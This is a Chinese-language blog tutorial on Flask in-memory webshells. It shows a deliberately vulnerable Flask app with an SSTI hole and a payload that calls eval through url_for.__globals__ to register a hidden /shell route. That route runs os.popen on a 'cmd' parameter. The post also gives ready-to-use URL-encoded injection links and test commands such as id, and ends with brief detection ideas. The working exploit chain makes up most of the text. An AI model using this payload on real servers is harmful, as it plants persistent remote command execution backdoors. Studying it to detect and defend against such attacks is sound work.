内存马学习之Python内存马

本文最后更新于:2022年9月12日 上午

内存马学习之Python内存马

Python内存马原理

1
Python内存马利用flask框架中ssti注入来实现,flask框架中在web应用模板渲染的过程中用到render_template_string()进行渲染但未对用户传输的代码进行过滤导致用户可以通过注入恶意代码来实现python内存马的注入。

基础知识

app.addurl_rule()用法

app.add_url_rule()是一种生成url规则的函数,在flask中@app.route('<url>')就是调用的app.add_url_rule(),简单理解就是该函数将url中的/<str>绑定指定函数执行。。

1
app.add_url_rule('/index/',endpoint='index',view_func=index,methods=['POST'])

app.addurl_rule的三个参数:第一个参数指定url规则,当访问/index符合本条规则,endpoint设置url的名字,url_for可通过名字返回url,view_func参数指定本规则绑定的函数,methods指定规则访问限制。

lambda表达式

lambda表达式官方语言匿名函数,基本格式。

1
lambda [arg1 [,arg2,.....argn]]:expression

实际上就是函数的简写,去掉了函数名,简单写个比较就明白了。

1
2
3
4
lambda x,y:x+y
等价于
def add(x,y):
return x+y;

偏函数partial

1
在python中,如果在设置某个函数的时候需要把函数的某个参数设置为固定的值,就可以使用偏函数来实现.

可以理解为将函数的某些参数设置为固定值,重新命名方便使用,举个例子

1
2
3
4
5
6
7
8
9
from functools import partial

def mod( n, m ):
return n % m

mod_by_10 = partial( mod, m=10 )

print mod( 77,10 ) # 7
print mod_by_10( 77 ) # 7

mod(n,m)表示n模m,是个通用函数,但是如果我只是用模10,需要每次都指定m=10吗?偏函数的功能就是解决这个问题,我们可以在mod(n,m)重新命令一个函数mod_by_100(n),由于他是有mod(n,m)扩展来的,所以需要指定参数m=100mod_by_100 = partial( mod, 100 ),第一个参数mod就是扩展原函数mod(n,m),原函数的各个参数依次作为partial()函数后续的参数,除非使用关键字参数。

实战步骤

简单编写一个flask sstl实例,内容是访问/index加上content参数就会被渲染,渲染的content和name内容是用户可控,利用这点生成内存马。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from flask import Flask, url_for, redirect, request, render_template_string
app = Flask(__name__)


@app.route("/index")
def fun():
content = request.args.get("content")
return render_template_string(content)


@app.route('/')
def hello_world(): # put application's code here
person = 'knave'
if request.args.get('name'):
person = request.args.get('name')
template = '<h1>Hi, %s.</h1>' % person
return render_template_string(template)


@app.route('/hi/')
def hi():
return "hello flask!"


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

原始Flask内存马payload

1
2
3
4
5
6
7
8
9
10
11
12
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read()
)
",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
)

payload解析

1
2
3
4
5
6
7
__class__:返回调用的参数类型

__bases__:返回基类列表

__builtins__:内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等

__globals__:以字典的形式返回函数所在的全局命名空间所定义的全局变量,这里的函数可以是类class的构造函数如__init__,也可以是flask的函数如url_for等。

url_for.__globals__['__builtins__']['eval']

url_for是Flask的一个内置函数:作用是根据函数名称和已有规则生成对应url。

image-20220610172705958

通过Flask内置函数可以调用其__globals__属性,该特殊属性能够返回函数所在模块命名空间的所有变量,其中包含了很多已经引入的modules,这里看到是支持__builtins__的:

image-20220610181036433

__builtins__即是引用,Python程序一旦启动,它就会在程序员所写的代码运行之前就已经被加载到内存中了,而对于__builtins__却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块。其中是包含eval、exec等函数的。

image-20220610181116081

直接调用就能执行命令了,但是命令输出并未回显而是显示在终端中

image-20220610181636124

image-20220610181724351

1
2
3
4
5
6
7
8
9
10
11
12
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read()
)
",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
)

add_url_rule()添加了一个url为/shell的路由,绑定匿名函数lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read()

_request_ctx_stack是Flask的一个全局变量,是一个LocalStack实例。

Flask请求上下文管理机制:当一个请求进入Flask,首先会实例化一个Request Context,这个上下文封装了请求的信息在Request中,并将这个上下文推入到一个名为_request_ctx_stack 的栈结构中,也就是说获取当前的请求上下文等同于获取_request_ctx_stack的栈顶元素_request_ctx_stack.top

再来看看'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}这一截Payload. _request_ctx_stackFlask的一个全局变量, 是一个LocalStack实例, 这里的_request_ctx_stack即上文中提到的Flask 请求上下文管理机制中的_request_ctx_stack. app也是Flask的一个全局变量, 这里即获取当前的app.

eval基本用法

在这里插入图片描述

访问如下URL生成Flask内存马:

1
2
3
http://127.0.0.1:5000/index?content={{a.__init__.__globals__[%27__builtins__%27][%27eval%27](%22app.add_url_rule(%27/shell1%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27cmd%27,%20%27whoami%27)).read())%22,%20{%27_request_ctx_stack%27:%20url_for.__globals__[%27_request_ctx_stack%27],%20%27app%27:%20url_for.__globals__[%27current_app%27]})}}

http://127.0.0.1:5000?name={{url_for.__globals__[%27__builtins__%27][%27eval%27]("app.add_url_rule(%27/shell%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27cmd%27,%20%27whoami%27)).read())",{%27_request_ctx_stack%27:url_for.__globals__[%27_request_ctx_stack%27],%27app%27:url_for.__globals__[%27current_app%27]})}}
1
2
http://127.0.0.1:5000/shell1?cmd=id
http://127.0.0.1:5000/shell?cmd=id

image-20220609212421796

检测思路

1
2
1. 查 看 所 有 内 建 模 块 中 是 否 包 含 evalexec 等 可 以 执 行 代 码 的 函 数 如 : class‘warnings.catch_warnings’、class 'site.Quitter'等。
2. 检测self.add_url_rule()中特殊名字的路由如shell等。

参考链接

https://blog.csdn.net/rfrder/article/details/121005608

https://www.cnblogs.com/bigox/p/11652859.html

https://www.cnblogs.com/bmjoker/p/13508538.html


内存马学习之Python内存马
https://genioco.github.io/2022/05/06/Learn/内存马学习之Python内存马/
作者
BadWolf
发布于
2022年5月6日
许可协议